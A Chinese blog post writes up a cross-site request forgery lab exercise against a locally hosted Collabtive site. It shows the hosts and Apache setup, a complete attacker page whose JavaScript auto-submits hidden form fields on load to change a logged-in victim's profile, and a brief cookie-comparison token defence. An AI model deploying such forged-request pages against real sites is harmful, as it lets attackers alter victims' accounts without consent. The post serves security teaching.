一次csrf攻击实验

14次阅读

共计 2067 个字符,预计需要花费 6 分钟才能阅读完成。

记录一下实验过程,实验楼已经给搭建好了两个网站
攻击网站:www.csrflabattacker.com
被攻击网站:www.csrflabcollabtive.com

登录实验环境,启动 apache 服务和 mysql 服务
配置 DNS 路径为 /etc/hosts 添加两行 作用是当访问下面两个域名时指向本机
127.0.0.1 www.csrflabattacker.com
127.0.0.1 www.csrflabcollabtive.com

配置网站,路径 /etc/apache2/conf.d/lab.conf 添加如下内容,作用是将相应网站绑定到本地的对应端口上,你可以通过 127.0.0.1:80 访问 http://www.csrflabcollabtive.com 这个网站,亦可通过域名访问。
<VirtualHost *:80>
ServerName http://www.csrflabcollabtive.com
DocumentRoot /var/www/CSRF/Collabtive/
</VirtualHost>

<VirtualHost *:8080>
ServerName http://www.csrflabattacker.com
DocumentRoot /var/www/CSRF/Attacker/
</VirtualHost>

下载 livehttpheader 插件,实验楼已经记录的很详细,这里就不再描述
打开 www.csrflabcollabtive.com 网站,打开 livehttpheader 插件,访问编辑用户界面并修改用户信息,点击 send 按钮。在 livehttpheader 中查看 http 请求头。
捕捉到请求报文后就可以在攻击网站上构造攻击页面了,在 /var/www/CSRF/Attacker/ 文件加下新建 index.html 文件。作用是你在点击攻击网站时,攻击网站会向被攻击网站提交 post 请求,而浏览器会自动获取你之前登录被攻击网站的 cookies,这样被攻击网站就无法判断提交 post 请求的是合法用户还是恶意网站。
<html>
<body>
<h1>
This page forges an HTTP POST request.
</h1>
<script type=”text/javascript”>
function post(url, fields) {
//create a <form> element.
var p = document.createElement(“form”);
//construct the form
p.action = url;
p.innerHTML = fields;
p.target = “_self”;
p.method = “post”;
//append the form to the current page.
document.body.appendChild(p);
//submit the form
p.submit();
}

function csrf_hack() {
var fields;
// The following are form entries that need to be filled out
// by attackers. The entries are made hidden, so the victim
// won’t be able to see them.
fields += “<input type=’hidden’ name=’name’ value=’admin’ >”;
fields += “<input type=’hidden’ name=’gender’ value=’female’ >”; // 修改性别
fields += “<input type=’hidden’ name=’company’ value=’seed’ >”; // 修改公司名
post(‘http://www.csrflabcollabtive.com/manageuser.php?action=edit’, fields);
}
// invoke csrf_hack() after the page is loaded.
window.onload = function() {
csrf_hack();
}
</script>
</body>
</html>

防御方法,一般都是在客户端加伪随机数在本实验中,在 sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl 下添加一个隐藏的字段 sid。在提交表单处将 cookie 值赋值给 sid:this.form.sid.value = document.cookie<input type=”hidden” name=”sid” value=””> 修改 /var/www/CSRF/Collabtive/manageuser.php 文件获取 post 提交的 sid 值 $sid = getArrayVal($_POST,”sid”) 对用户 id 的值进行判断,如果用户 id 的值等于 phpsessionid 的值则进行提交 if($_COOKIE[‘PHPSESSIONID’]==$sid)

正文完
 0